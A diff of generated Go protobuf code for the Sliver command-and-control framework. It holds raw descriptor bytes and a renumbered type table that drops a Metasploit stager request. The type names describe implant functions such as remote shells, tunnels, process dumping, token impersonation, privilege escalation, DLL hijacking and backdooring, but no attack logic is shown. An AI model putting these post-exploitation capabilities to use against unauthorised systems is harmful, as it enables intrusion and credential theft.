+ 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x54, 0x43, 0x50,
+ 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e,
+ 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f,
+ 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x12, 0x4b, 0x0a, 0x12, 0x57, 0x47, 0x4c, 0x69,
+ 0x73, 0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x1b,
+ 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b,
+ 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c,
+ 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65,
+ 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x2c, 0x0a, 0x05, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x12,
+ 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x52,
+ 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68,
+ 0x65, 0x6c, 0x6c, 0x12, 0x32, 0x0a, 0x07, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x14,
+ 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77,
+ 0x64, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
+ 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x2f, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x61, 0x74,
+ 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
+ 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
+ 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x2e, 0x0a, 0x0a, 0x43, 0x6c, 0x6f, 0x73,
+ 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
+ 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e,
+ 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3a, 0x0a, 0x0a, 0x53, 0x6f, 0x63, 0x6b,
+ 0x73, 0x50, 0x72, 0x6f, 0x78, 0x79, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
+ 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x13, 0x2e, 0x73, 0x6c,
+ 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61,
+ 0x28, 0x01, 0x30, 0x01, 0x12, 0x32, 0x0a, 0x0c, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x75,
+ 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
+ 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
+ 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x30, 0x0a, 0x0b, 0x43, 0x6c, 0x6f, 0x73,
+ 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
+ 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d,
+ 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3c, 0x0a, 0x0a, 0x54, 0x75,
+ 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
+ 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x14,
+ 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c,
+ 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x2c, 0x0a, 0x06, 0x45, 0x76, 0x65, 0x6e,
+ 0x74, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d,
+ 0x70, 0x74, 0x79, 0x1a, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45,
+ 0x76, 0x65, 0x6e, 0x74, 0x30, 0x01, 0x42, 0x2c, 0x5a, 0x2a, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62,
+ 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73,
+ 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x72,
+ 0x70, 0x63, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
}
var file_rpcpb_services_proto_goTypes = []interface{}{
@@ -769,200 +765,198 @@ var file_rpcpb_services_proto_goTypes = []interface{}{
(*clientpb.RegenerateReq)(nil), // 37: clientpb.RegenerateReq
(*clientpb.DeleteReq)(nil), // 38: clientpb.DeleteReq
(*clientpb.ImplantProfile)(nil), // 39: clientpb.ImplantProfile
- (*clientpb.MsfStagerReq)(nil), // 40: clientpb.MsfStagerReq
- (*clientpb.ShellcodeRDIReq)(nil), // 41: clientpb.ShellcodeRDIReq
- (*clientpb.ShellcodeEncodeReq)(nil), // 42: clientpb.ShellcodeEncodeReq
- (*clientpb.TrafficEncoder)(nil), // 43: clientpb.TrafficEncoder
- (*clientpb.Website)(nil), // 44: clientpb.Website
- (*clientpb.WebsiteAddContent)(nil), // 45: clientpb.WebsiteAddContent
- (*clientpb.WebsiteRemoveContent)(nil), // 46: clientpb.WebsiteRemoveContent
- (*sliverpb.Ping)(nil), // 47: sliverpb.Ping
- (*sliverpb.PsReq)(nil), // 48: sliverpb.PsReq
- (*sliverpb.TerminateReq)(nil), // 49: sliverpb.TerminateReq
- (*sliverpb.IfconfigReq)(nil), // 50: sliverpb.IfconfigReq
- (*sliverpb.NetstatReq)(nil), // 51: sliverpb.NetstatReq
- (*sliverpb.LsReq)(nil), // 52: sliverpb.LsReq
- (*sliverpb.CdReq)(nil), // 53: sliverpb.CdReq
- (*sliverpb.PwdReq)(nil), // 54: sliverpb.PwdReq
- (*sliverpb.MvReq)(nil), // 55: sliverpb.MvReq
- (*sliverpb.CpReq)(nil), // 56: sliverpb.CpReq
- (*sliverpb.RmReq)(nil), // 57: sliverpb.RmReq
- (*sliverpb.MkdirReq)(nil), // 58: sliverpb.MkdirReq
- (*sliverpb.DownloadReq)(nil), // 59: sliverpb.DownloadReq
- (*sliverpb.UploadReq)(nil), // 60: sliverpb.UploadReq
- (*sliverpb.GrepReq)(nil), // 61: sliverpb.GrepReq
- (*sliverpb.ChmodReq)(nil), // 62: sliverpb.ChmodReq
- (*sliverpb.ChownReq)(nil), // 63: sliverpb.ChownReq
- (*sliverpb.ChtimesReq)(nil), // 64: sliverpb.ChtimesReq
- (*sliverpb.MemfilesListReq)(nil), // 65: sliverpb.MemfilesListReq
- (*sliverpb.MemfilesAddReq)(nil), // 66: sliverpb.MemfilesAddReq
- (*sliverpb.MemfilesRmReq)(nil), // 67: sliverpb.MemfilesRmReq
- (*sliverpb.MountReq)(nil), // 68: sliverpb.MountReq
- (*sliverpb.ProcessDumpReq)(nil), // 69: sliverpb.ProcessDumpReq
- (*sliverpb.RunAsReq)(nil), // 70: sliverpb.RunAsReq
- (*sliverpb.ImpersonateReq)(nil), // 71: sliverpb.ImpersonateReq
- (*sliverpb.RevToSelfReq)(nil), // 72: sliverpb.RevToSelfReq
- (*clientpb.GetSystemReq)(nil), // 73: clientpb.GetSystemReq
- (*sliverpb.TaskReq)(nil), // 74: sliverpb.TaskReq
- (*clientpb.MSFReq)(nil), // 75: clientpb.MSFReq
- (*clientpb.MSFRemoteReq)(nil), // 76: clientpb.MSFRemoteReq
- (*sliverpb.ExecuteAssemblyReq)(nil), // 77: sliverpb.ExecuteAssemblyReq
- (*clientpb.MigrateReq)(nil), // 78: clientpb.MigrateReq
- (*sliverpb.ExecuteReq)(nil), // 79: sliverpb.ExecuteReq
- (*sliverpb.ExecuteWindowsReq)(nil), // 80: sliverpb.ExecuteWindowsReq
- (*sliverpb.SideloadReq)(nil), // 81: sliverpb.SideloadReq
- (*sliverpb.InvokeSpawnDllReq)(nil), // 82: sliverpb.InvokeSpawnDllReq
- (*sliverpb.ScreenshotReq)(nil), // 83: sliverpb.ScreenshotReq
- (*sliverpb.CurrentTokenOwnerReq)(nil), // 84: sliverpb.CurrentTokenOwnerReq
- (*sliverpb.ServicesReq)(nil), // 85: sliverpb.ServicesReq
- (*sliverpb.ServiceDetailReq)(nil), // 86: sliverpb.ServiceDetailReq
- (*sliverpb.StartServiceByNameReq)(nil), // 87: sliverpb.StartServiceByNameReq
- (*sliverpb.PivotStartListenerReq)(nil), // 88: sliverpb.PivotStartListenerReq
- (*sliverpb.PivotStopListenerReq)(nil), // 89: sliverpb.PivotStopListenerReq
- (*sliverpb.PivotListenersReq)(nil), // 90: sliverpb.PivotListenersReq
- (*sliverpb.StartServiceReq)(nil), // 91: sliverpb.StartServiceReq
- (*sliverpb.StopServiceReq)(nil), // 92: sliverpb.StopServiceReq
- (*sliverpb.RemoveServiceReq)(nil), // 93: sliverpb.RemoveServiceReq
- (*sliverpb.MakeTokenReq)(nil), // 94: sliverpb.MakeTokenReq
- (*sliverpb.EnvReq)(nil), // 95: sliverpb.EnvReq
- (*sliverpb.SetEnvReq)(nil), // 96: sliverpb.SetEnvReq
- (*sliverpb.UnsetEnvReq)(nil), // 97: sliverpb.UnsetEnvReq
- (*clientpb.BackdoorReq)(nil), // 98: clientpb.BackdoorReq
- (*sliverpb.RegistryReadReq)(nil), // 99: sliverpb.RegistryReadReq
- (*sliverpb.RegistryWriteReq)(nil), // 100: sliverpb.RegistryWriteReq
- (*sliverpb.RegistryCreateKeyReq)(nil), // 101: sliverpb.RegistryCreateKeyReq
- (*sliverpb.RegistryDeleteKeyReq)(nil), // 102: sliverpb.RegistryDeleteKeyReq
- (*sliverpb.RegistrySubKeyListReq)(nil), // 103: sliverpb.RegistrySubKeyListReq
- (*sliverpb.RegistryListValuesReq)(nil), // 104: sliverpb.RegistryListValuesReq
- (*sliverpb.RegistryReadHiveReq)(nil), // 105: sliverpb.RegistryReadHiveReq
- (*sliverpb.SSHCommandReq)(nil), // 106: sliverpb.SSHCommandReq
- (*clientpb.DllHijackReq)(nil), // 107: clientpb.DllHijackReq
- (*sliverpb.GetPrivsReq)(nil), // 108: sliverpb.GetPrivsReq
- (*sliverpb.RportFwdStartListenerReq)(nil), // 109: sliverpb.RportFwdStartListenerReq
- (*sliverpb.RportFwdListenersReq)(nil), // 110: sliverpb.RportFwdListenersReq
- (*sliverpb.RportFwdStopListenerReq)(nil), // 111: sliverpb.RportFwdStopListenerReq
- (*sliverpb.OpenSession)(nil), // 112: sliverpb.OpenSession
- (*sliverpb.CloseSession)(nil), // 113: sliverpb.CloseSession
- (*sliverpb.RegisterExtensionReq)(nil), // 114: sliverpb.RegisterExtensionReq
- (*sliverpb.CallExtensionReq)(nil), // 115: sliverpb.CallExtensionReq
- (*sliverpb.ListExtensionsReq)(nil), // 116: sliverpb.ListExtensionsReq
- (*sliverpb.RegisterWasmExtensionReq)(nil), // 117: sliverpb.RegisterWasmExtensionReq
- (*sliverpb.ListWasmExtensionsReq)(nil), // 118: sliverpb.ListWasmExtensionsReq
- (*sliverpb.ExecWasmExtensionReq)(nil), // 119: sliverpb.ExecWasmExtensionReq
- (*sliverpb.WGPortForwardStartReq)(nil), // 120: sliverpb.WGPortForwardStartReq
- (*sliverpb.WGPortForwardStopReq)(nil), // 121: sliverpb.WGPortForwardStopReq
- (*sliverpb.WGSocksStartReq)(nil), // 122: sliverpb.WGSocksStartReq
- (*sliverpb.WGSocksStopReq)(nil), // 123: sliverpb.WGSocksStopReq
- (*sliverpb.WGTCPForwardersReq)(nil), // 124: sliverpb.WGTCPForwardersReq
- (*sliverpb.WGSocksServersReq)(nil), // 125: sliverpb.WGSocksServersReq
- (*sliverpb.ShellReq)(nil), // 126: sliverpb.ShellReq
- (*sliverpb.PortfwdReq)(nil), // 127: sliverpb.PortfwdReq
- (*sliverpb.Socks)(nil), // 128: sliverpb.Socks
- (*sliverpb.SocksData)(nil), // 129: sliverpb.SocksData
- (*sliverpb.Tunnel)(nil), // 130: sliverpb.Tunnel
- (*sliverpb.TunnelData)(nil), // 131: sliverpb.TunnelData
- (*clientpb.Version)(nil), // 132: clientpb.Version
- (*clientpb.Operators)(nil), // 133: clientpb.Operators
- (*sliverpb.Reconfigure)(nil), // 134: sliverpb.Reconfigure
- (*clientpb.Sessions)(nil), // 135: clientpb.Sessions
- (*commonpb.Response)(nil), // 136: commonpb.Response
- (*clientpb.MonitoringProviders)(nil), // 137: clientpb.MonitoringProviders
- (*clientpb.ListenerJob)(nil), // 138: clientpb.ListenerJob
- (*clientpb.Beacons)(nil), // 139: clientpb.Beacons
- (*clientpb.BeaconTasks)(nil), // 140: clientpb.BeaconTasks
- (*clientpb.Jobs)(nil), // 141: clientpb.Jobs
- (*clientpb.KillJob)(nil), // 142: clientpb.KillJob
- (*clientpb.StagerListener)(nil), // 143: clientpb.StagerListener
- (*clientpb.AllLoot)(nil), // 144: clientpb.AllLoot
- (*clientpb.AllHosts)(nil), // 145: clientpb.AllHosts
- (*clientpb.Generate)(nil), // 146: clientpb.Generate
- (*clientpb.ExternalImplantConfig)(nil), // 147: clientpb.ExternalImplantConfig
- (*clientpb.HTTPC2Configs)(nil), // 148: clientpb.HTTPC2Configs
- (*clientpb.HTTPC2Config)(nil), // 149: clientpb.HTTPC2Config
- (*clientpb.Builders)(nil), // 150: clientpb.Builders
- (*clientpb.CertificateInfo)(nil), // 151: clientpb.CertificateInfo
- (*clientpb.Crackstations)(nil), // 152: clientpb.Crackstations
- (*clientpb.CrackFiles)(nil), // 153: clientpb.CrackFiles
- (*clientpb.ImplantBuilds)(nil), // 154: clientpb.ImplantBuilds
- (*clientpb.Canaries)(nil), // 155: clientpb.Canaries
- (*clientpb.WGClientConfig)(nil), // 156: clientpb.WGClientConfig
- (*clientpb.UniqueWGIP)(nil), // 157: clientpb.UniqueWGIP
- (*clientpb.ImplantProfiles)(nil), // 158: clientpb.ImplantProfiles
- (*clientpb.MsfStager)(nil), // 159: clientpb.MsfStager
- (*clientpb.ShellcodeRDI)(nil), // 160: clientpb.ShellcodeRDI
- (*clientpb.Compiler)(nil), // 161: clientpb.Compiler
- (*clientpb.ShellcodeEncode)(nil), // 162: clientpb.ShellcodeEncode
- (*clientpb.ShellcodeEncoderMap)(nil), // 163: clientpb.ShellcodeEncoderMap
- (*clientpb.TrafficEncoderMap)(nil), // 164: clientpb.TrafficEncoderMap
- (*clientpb.TrafficEncoderTests)(nil), // 165: clientpb.TrafficEncoderTests
- (*clientpb.Websites)(nil), // 166: clientpb.Websites
- (*sliverpb.Ps)(nil), // 167: sliverpb.Ps
- (*sliverpb.Terminate)(nil), // 168: sliverpb.Terminate
- (*sliverpb.Ifconfig)(nil), // 169: sliverpb.Ifconfig
- (*sliverpb.Netstat)(nil), // 170: sliverpb.Netstat
- (*sliverpb.Ls)(nil), // 171: sliverpb.Ls
- (*sliverpb.Pwd)(nil), // 172: sliverpb.Pwd
- (*sliverpb.Mv)(nil), // 173: sliverpb.Mv
- (*sliverpb.Cp)(nil), // 174: sliverpb.Cp
- (*sliverpb.Rm)(nil), // 175: sliverpb.Rm
- (*sliverpb.Mkdir)(nil), // 176: sliverpb.Mkdir
- (*sliverpb.Download)(nil), // 177: sliverpb.Download
- (*sliverpb.Upload)(nil), // 178: sliverpb.Upload
- (*sliverpb.Grep)(nil), // 179: sliverpb.Grep
- (*sliverpb.Chmod)(nil), // 180: sliverpb.Chmod
- (*sliverpb.Chown)(nil), // 181: sliverpb.Chown
- (*sliverpb.Chtimes)(nil), // 182: sliverpb.Chtimes
- (*sliverpb.MemfilesAdd)(nil), // 183: sliverpb.MemfilesAdd
- (*sliverpb.MemfilesRm)(nil), // 184: sliverpb.MemfilesRm
- (*sliverpb.Mount)(nil), // 185: sliverpb.Mount
- (*sliverpb.ProcessDump)(nil), // 186: sliverpb.ProcessDump
- (*sliverpb.RunAs)(nil), // 187: sliverpb.RunAs
- (*sliverpb.Impersonate)(nil), // 188: sliverpb.Impersonate
- (*sliverpb.RevToSelf)(nil), // 189: sliverpb.RevToSelf
- (*sliverpb.GetSystem)(nil), // 190: sliverpb.GetSystem
- (*sliverpb.Task)(nil), // 191: sliverpb.Task
- (*sliverpb.ExecuteAssembly)(nil), // 192: sliverpb.ExecuteAssembly
- (*sliverpb.Migrate)(nil), // 193: sliverpb.Migrate
- (*sliverpb.Execute)(nil), // 194: sliverpb.Execute
- (*sliverpb.Sideload)(nil), // 195: sliverpb.Sideload
- (*sliverpb.SpawnDll)(nil), // 196: sliverpb.SpawnDll
- (*sliverpb.Screenshot)(nil), // 197: sliverpb.Screenshot
- (*sliverpb.CurrentTokenOwner)(nil), // 198: sliverpb.CurrentTokenOwner
- (*sliverpb.Services)(nil), // 199: sliverpb.Services
- (*sliverpb.ServiceDetail)(nil), // 200: sliverpb.ServiceDetail
- (*sliverpb.ServiceInfo)(nil), // 201: sliverpb.ServiceInfo
- (*sliverpb.PivotListener)(nil), // 202: sliverpb.PivotListener
- (*sliverpb.PivotListeners)(nil), // 203: sliverpb.PivotListeners
- (*clientpb.PivotGraph)(nil), // 204: clientpb.PivotGraph
- (*sliverpb.MakeToken)(nil), // 205: sliverpb.MakeToken
- (*sliverpb.EnvInfo)(nil), // 206: sliverpb.EnvInfo
- (*sliverpb.SetEnv)(nil), // 207: sliverpb.SetEnv
- (*sliverpb.UnsetEnv)(nil), // 208: sliverpb.UnsetEnv
- (*clientpb.Backdoor)(nil), // 209: clientpb.Backdoor
- (*sliverpb.RegistryRead)(nil), // 210: sliverpb.RegistryRead
- (*sliverpb.RegistryWrite)(nil), // 211: sliverpb.RegistryWrite
- (*sliverpb.RegistryCreateKey)(nil), // 212: sliverpb.RegistryCreateKey
- (*sliverpb.RegistryDeleteKey)(nil), // 213: sliverpb.RegistryDeleteKey
- (*sliverpb.RegistrySubKeyList)(nil), // 214: sliverpb.RegistrySubKeyList
- (*sliverpb.RegistryValuesList)(nil), // 215: sliverpb.RegistryValuesList
- (*sliverpb.RegistryReadHive)(nil), // 216: sliverpb.RegistryReadHive
- (*sliverpb.SSHCommand)(nil), // 217: sliverpb.SSHCommand
- (*clientpb.DllHijack)(nil), // 218: clientpb.DllHijack
- (*sliverpb.GetPrivs)(nil), // 219: sliverpb.GetPrivs
- (*sliverpb.RportFwdListener)(nil), // 220: sliverpb.RportFwdListener
- (*sliverpb.RportFwdListeners)(nil), // 221: sliverpb.RportFwdListeners
- (*sliverpb.RegisterExtension)(nil), // 222: sliverpb.RegisterExtension
- (*sliverpb.CallExtension)(nil), // 223: sliverpb.CallExtension
- (*sliverpb.ListExtensions)(nil), // 224: sliverpb.ListExtensions
- (*sliverpb.RegisterWasmExtension)(nil), // 225: sliverpb.RegisterWasmExtension
- (*sliverpb.ListWasmExtensions)(nil), // 226: sliverpb.ListWasmExtensions
- (*sliverpb.ExecWasmExtension)(nil), // 227: sliverpb.ExecWasmExtension
- (*sliverpb.WGPortForward)(nil), // 228: sliverpb.WGPortForward
- (*sliverpb.WGSocks)(nil), // 229: sliverpb.WGSocks
- (*sliverpb.WGTCPForwarders)(nil), // 230: sliverpb.WGTCPForwarders
- (*sliverpb.WGSocksServers)(nil), // 231: sliverpb.WGSocksServers
- (*sliverpb.Shell)(nil), // 232: sliverpb.Shell
- (*sliverpb.Portfwd)(nil), // 233: sliverpb.Portfwd
+ (*clientpb.ShellcodeRDIReq)(nil), // 40: clientpb.ShellcodeRDIReq
+ (*clientpb.ShellcodeEncodeReq)(nil), // 41: clientpb.ShellcodeEncodeReq
+ (*clientpb.TrafficEncoder)(nil), // 42: clientpb.TrafficEncoder
+ (*clientpb.Website)(nil), // 43: clientpb.Website
+ (*clientpb.WebsiteAddContent)(nil), // 44: clientpb.WebsiteAddContent
+ (*clientpb.WebsiteRemoveContent)(nil), // 45: clientpb.WebsiteRemoveContent
+ (*sliverpb.Ping)(nil), // 46: sliverpb.Ping
+ (*sliverpb.PsReq)(nil), // 47: sliverpb.PsReq
+ (*sliverpb.TerminateReq)(nil), // 48: sliverpb.TerminateReq
+ (*sliverpb.IfconfigReq)(nil), // 49: sliverpb.IfconfigReq
+ (*sliverpb.NetstatReq)(nil), // 50: sliverpb.NetstatReq
+ (*sliverpb.LsReq)(nil), // 51: sliverpb.LsReq
+ (*sliverpb.CdReq)(nil), // 52: sliverpb.CdReq
+ (*sliverpb.PwdReq)(nil), // 53: sliverpb.PwdReq
+ (*sliverpb.MvReq)(nil), // 54: sliverpb.MvReq
+ (*sliverpb.CpReq)(nil), // 55: sliverpb.CpReq
+ (*sliverpb.RmReq)(nil), // 56: sliverpb.RmReq
+ (*sliverpb.MkdirReq)(nil), // 57: sliverpb.MkdirReq
+ (*sliverpb.DownloadReq)(nil), // 58: sliverpb.DownloadReq
+ (*sliverpb.UploadReq)(nil), // 59: sliverpb.UploadReq
+ (*sliverpb.GrepReq)(nil), // 60: sliverpb.GrepReq
+ (*sliverpb.ChmodReq)(nil), // 61: sliverpb.ChmodReq
+ (*sliverpb.ChownReq)(nil), // 62: sliverpb.ChownReq
+ (*sliverpb.ChtimesReq)(nil), // 63: sliverpb.ChtimesReq
+ (*sliverpb.MemfilesListReq)(nil), // 64: sliverpb.MemfilesListReq
+ (*sliverpb.MemfilesAddReq)(nil), // 65: sliverpb.MemfilesAddReq
+ (*sliverpb.MemfilesRmReq)(nil), // 66: sliverpb.MemfilesRmReq
+ (*sliverpb.MountReq)(nil), // 67: sliverpb.MountReq
+ (*sliverpb.ProcessDumpReq)(nil), // 68: sliverpb.ProcessDumpReq
+ (*sliverpb.RunAsReq)(nil), // 69: sliverpb.RunAsReq
+ (*sliverpb.ImpersonateReq)(nil), // 70: sliverpb.ImpersonateReq
+ (*sliverpb.RevToSelfReq)(nil), // 71: sliverpb.RevToSelfReq
+ (*clientpb.GetSystemReq)(nil), // 72: clientpb.GetSystemReq
+ (*sliverpb.TaskReq)(nil), // 73: sliverpb.TaskReq
+ (*clientpb.MSFReq)(nil), // 74: clientpb.MSFReq
+ (*clientpb.MSFRemoteReq)(nil), // 75: clientpb.MSFRemoteReq
+ (*sliverpb.ExecuteAssemblyReq)(nil), // 76: sliverpb.ExecuteAssemblyReq
+ (*clientpb.MigrateReq)(nil), // 77: clientpb.MigrateReq
+ (*sliverpb.ExecuteReq)(nil), // 78: sliverpb.ExecuteReq
+ (*sliverpb.ExecuteWindowsReq)(nil), // 79: sliverpb.ExecuteWindowsReq
+ (*sliverpb.SideloadReq)(nil), // 80: sliverpb.SideloadReq
+ (*sliverpb.InvokeSpawnDllReq)(nil), // 81: sliverpb.InvokeSpawnDllReq
+ (*sliverpb.ScreenshotReq)(nil), // 82: sliverpb.ScreenshotReq
+ (*sliverpb.CurrentTokenOwnerReq)(nil), // 83: sliverpb.CurrentTokenOwnerReq
+ (*sliverpb.ServicesReq)(nil), // 84: sliverpb.ServicesReq
+ (*sliverpb.ServiceDetailReq)(nil), // 85: sliverpb.ServiceDetailReq
+ (*sliverpb.StartServiceByNameReq)(nil), // 86: sliverpb.StartServiceByNameReq
+ (*sliverpb.PivotStartListenerReq)(nil), // 87: sliverpb.PivotStartListenerReq
+ (*sliverpb.PivotStopListenerReq)(nil), // 88: sliverpb.PivotStopListenerReq
+ (*sliverpb.PivotListenersReq)(nil), // 89: sliverpb.PivotListenersReq
+ (*sliverpb.StartServiceReq)(nil), // 90: sliverpb.StartServiceReq
+ (*sliverpb.StopServiceReq)(nil), // 91: sliverpb.StopServiceReq
+ (*sliverpb.RemoveServiceReq)(nil), // 92: sliverpb.RemoveServiceReq
+ (*sliverpb.MakeTokenReq)(nil), // 93: sliverpb.MakeTokenReq
+ (*sliverpb.EnvReq)(nil), // 94: sliverpb.EnvReq
+ (*sliverpb.SetEnvReq)(nil), // 95: sliverpb.SetEnvReq
+ (*sliverpb.UnsetEnvReq)(nil), // 96: sliverpb.UnsetEnvReq
+ (*clientpb.BackdoorReq)(nil), // 97: clientpb.BackdoorReq
+ (*sliverpb.RegistryReadReq)(nil), // 98: sliverpb.RegistryReadReq
+ (*sliverpb.RegistryWriteReq)(nil), // 99: sliverpb.RegistryWriteReq
+ (*sliverpb.RegistryCreateKeyReq)(nil), // 100: sliverpb.RegistryCreateKeyReq
+ (*sliverpb.RegistryDeleteKeyReq)(nil), // 101: sliverpb.RegistryDeleteKeyReq
+ (*sliverpb.RegistrySubKeyListReq)(nil), // 102: sliverpb.RegistrySubKeyListReq
+ (*sliverpb.RegistryListValuesReq)(nil), // 103: sliverpb.RegistryListValuesReq
+ (*sliverpb.RegistryReadHiveReq)(nil), // 104: sliverpb.RegistryReadHiveReq
+ (*sliverpb.SSHCommandReq)(nil), // 105: sliverpb.SSHCommandReq
+ (*clientpb.DllHijackReq)(nil), // 106: clientpb.DllHijackReq
+ (*sliverpb.GetPrivsReq)(nil), // 107: sliverpb.GetPrivsReq
+ (*sliverpb.RportFwdStartListenerReq)(nil), // 108: sliverpb.RportFwdStartListenerReq
+ (*sliverpb.RportFwdListenersReq)(nil), // 109: sliverpb.RportFwdListenersReq
+ (*sliverpb.RportFwdStopListenerReq)(nil), // 110: sliverpb.RportFwdStopListenerReq
+ (*sliverpb.OpenSession)(nil), // 111: sliverpb.OpenSession
+ (*sliverpb.CloseSession)(nil), // 112: sliverpb.CloseSession
+ (*sliverpb.RegisterExtensionReq)(nil), // 113: sliverpb.RegisterExtensionReq
+ (*sliverpb.CallExtensionReq)(nil), // 114: sliverpb.CallExtensionReq
+ (*sliverpb.ListExtensionsReq)(nil), // 115: sliverpb.ListExtensionsReq
+ (*sliverpb.RegisterWasmExtensionReq)(nil), // 116: sliverpb.RegisterWasmExtensionReq
+ (*sliverpb.ListWasmExtensionsReq)(nil), // 117: sliverpb.ListWasmExtensionsReq
+ (*sliverpb.ExecWasmExtensionReq)(nil), // 118: sliverpb.ExecWasmExtensionReq
+ (*sliverpb.WGPortForwardStartReq)(nil), // 119: sliverpb.WGPortForwardStartReq
+ (*sliverpb.WGPortForwardStopReq)(nil), // 120: sliverpb.WGPortForwardStopReq
+ (*sliverpb.WGSocksStartReq)(nil), // 121: sliverpb.WGSocksStartReq
+ (*sliverpb.WGSocksStopReq)(nil), // 122: sliverpb.WGSocksStopReq
+ (*sliverpb.WGTCPForwardersReq)(nil), // 123: sliverpb.WGTCPForwardersReq
+ (*sliverpb.WGSocksServersReq)(nil), // 124: sliverpb.WGSocksServersReq
+ (*sliverpb.ShellReq)(nil), // 125: sliverpb.ShellReq
+ (*sliverpb.PortfwdReq)(nil), // 126: sliverpb.PortfwdReq
+ (*sliverpb.Socks)(nil), // 127: sliverpb.Socks
+ (*sliverpb.SocksData)(nil), // 128: sliverpb.SocksData
+ (*sliverpb.Tunnel)(nil), // 129: sliverpb.Tunnel
+ (*sliverpb.TunnelData)(nil), // 130: sliverpb.TunnelData
+ (*clientpb.Version)(nil), // 131: clientpb.Version
+ (*clientpb.Operators)(nil), // 132: clientpb.Operators
